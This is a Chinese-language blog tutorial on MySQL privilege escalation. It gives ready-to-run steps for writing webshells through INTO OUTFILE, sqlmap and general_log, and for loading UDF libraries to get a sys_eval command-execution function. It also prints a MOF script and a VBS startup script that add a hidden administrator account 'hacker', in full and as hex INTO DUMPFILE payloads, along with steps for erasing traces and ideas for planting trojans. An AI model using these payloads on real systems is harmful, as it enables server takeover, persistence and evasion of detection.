自从接触安全以来就 MySQL 的 UDF 提权、MOF 提权耳熟能详,但是貌似国光我一直都没有单独总结过这些零散的姿势点,所以本文就诞生了,再解决自己以前的困扰之余,也希望本文可以帮助到其他网友。
本文讲的是 MySQL 提权相关知识,但是提权之前得先拿到高权限的 MySQL 用户才可以,拿到 MySQL 的用户名和密码的方式多种多样,但是不外乎就下面几种方法:
--sql-shell
原生的 SQL 语句如下:
select '' into outfile '/var/www/html/info.php';
sqlmap 中可以如下操作:
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"
一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是NULL,这个情况下不可以写文件
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------------+
| Variable_name | Value |
+------------------+---------------------------------+
| general_log | OFF |
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
+------------------+---------------------------------+
general_log
默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。
可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:
# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';
# 查看当前配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------+
| Variable_name | Value |
+------------------+-----------------------------+
| general_log | ON |
| general_log_file | /var/www/html/info.php |
+------------------+-----------------------------+
# 往日志里面写入 payload
select '';
# 此时已经写到 info.php 文件当中了
root@c1595d3a029a:/var/www/html/$ cat info.php
/usr/sbin/mysqld, Version: 5.5.61-0ubuntu0.14.04.1 ((Ubuntu)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
201031 21:14:46 40 Query SHOW VARIABLES LIKE 'general%'
201031 21:15:34 40 Query select '
这里虽然可以成功写入,但是这个 info.php 是 MySQL 创建的 :
-rw-rw---- 1 mysql mysql 293 Oct 31 21:15 info.php
Apache 访问这个 php 文件会出现 HTTP 500 的状态码,结论是 root 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些,不过这里还是可以当做小知识点来学习记录。
前面分别介绍了数据库权限和 Webshell 权限,那么能不能利用已经获取到的 MySQL 权限来执行系统主机的命令的呢?这个就是下面主要介绍的了 MySQL 提权的知识点了。
UDF( U ser D efined F unction)是 MysQL 的用户自定义函数,是数据库功能的一种扩展。用户通 自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。
sqlmap根目录/data/udf/mysql
不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为: /extra/cloak/cloak.py
,解码方法如下:
# 查看当前目录情况
➜ pwd
/Users/guang/Documents/X1ct34m/sqlmap/1.4.6/extra/cloak
# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
# 查看当前目录下的情况
➜ ls
README.txt cloak.py lib_mysqludf_sys_32.so lib_mysqludf_sys_64.so
__init__.py lib_mysqludf_sys_32.dll lib_mysqludf_sys_64.dll
国光打包了 sqlmap 解码后的动态链接库: 蓝奏云 - sqlmap udf.zip 需要的朋友可以自提
MSF 根目录/embedded/framework/data/exploits/mysql
Metasploit 自带的动态链接库文件无需解码,开箱即可食用。
国光使用 010-Editor 对比了 metsaploit 自带的与 sqlmap 解码后的动态链接库文件,发现他们的内容一模一样。
下面来看下动态链接库里面有包含了哪些函数:
接下来的任务是把 UDF 的动态链接库文件放到 MySQL 的插件目录下,这个目录改如何去寻找呢?可以使用如下的 SQL 语句来查询:
mysql> show variables like '%plugin%';
+---------------+------------------------------+
| Variable_name | Value |
+---------------+------------------------------+
| plugin_dir | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+
如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin
文件夹:
mysql > select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';
这种情况下貌似是 Windows 下居多(待验证),那么如果找到 MySQL 的安装目录呢?通用也有对应的 SQL 语句可以查询出来:
mysql> select @@basedir;
+------------------+
| @@basedir |
+------------------+
| /usr/local/mysql |
+------------------+
写入动态链接库可以分为下面几种情形:
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
这里的十六进制怎么获取呢?可以利用 MySQL 自带的 hex 函数来编码:
# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt';
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';
为了方便大家直接复制,国光这里单独写了个页面,有意者自取: MySQL UDF 提权十六进制查询
ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )
网友们可能看到这个报错,因为 lib_mysqludf_sys_64.dll 失败,最后使用 lib_mysqludf_sys_32.dll 才成功,所以这里的 dll 应该和系统位数无关,可能和 MySQL 的安装版本有关系,而 PHPStudy 自带的 MySQL 版本是 32 位的
mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
这里的 sys_eval 支持自定义,接着就可以通过创建的这个函数来执行系统命令了:
mysql > select sys_eval('whoami');
如果在 Windows 系统下的话应该就是最高权限了,执行一些 net user 增加用户的命令应该都是可以成功的
mysql > drop function sys_eval;
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
mof 脚本的内容如下:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.SecOnd= 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};
instance of __FilterToConsumerBinding
{
COnsumer= $Consumer;
Filter = $EventFilter;
};
核心 payload 为:
var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")
MySQL 写文件的特性将这个 MOF 文件导入到 C:/Windows/system32/wbem/mof/ 目录下,依然采用上述编码的方式:
mysql > select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";
执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 否则出现在 c:/windows/system32/wbem/bad 目录下:
因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果:
# 停止 winmgmt 服务
net stop winmgmt
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 删除创建的用户
net user hacker /delete
# 重新启动服务
net start winmgmt
这种提权也常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
Windows Server 2003的启动项路径:
# 中文系统
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
# 英文系统
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
# 开关机项 需要自己建立对应文件夹
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown
Windows Server 2008的启动项路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
既然知道路径的话就往启动项路径里面写入脚本吧,脚本支持 vbs 和 exe 类型,可以利用 vbs 执行一些 CMD 命令,也可以使用 exe 上线 MSF 或者 CS 这方面还是比较灵活的。下面是一个执行基础命令的 VB 脚本:
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user hacker P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators hacker /add", 0
将上述 vbs 或者 CS 的马转十六进制直接写如到系统启动项中:
mysql > select 0x536574205773685368656C6C3D575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs";
写入成功的时候就等待系统用户重新登录,登录成功的话,我们的自定义脚本也就会被执行。
现在文章思路慢慢变成了 MySQL 可操控文件怎么将这个危害扩大影响的问题了。可以往管理员桌面上写一个伪造的 CS 木马,如果对方 Office 有漏洞的话可以写入一个带后门的 word 文件,也可以篡改用户常执行的文件等 这样发散开来就变的很广了,国光这里不再一一叙述了,总之实际场景实际分析,大家在渗透的时候也可以多多思考更多的可能性,万一就成功了呢。
另外如果本文对你有帮助的话,而且又恰巧财力雄厚 =,=,那么可以考虑打赏一下本文哦,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)抱拳了~
请随意打赏吧:
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看打赏列表 | 国光
对了 点击文章下方的广告 也可以表示心意哦,广告商说 0.3 元 一个 IP 点击,虽然有点少,但是数量多的话,也还算不错的啦~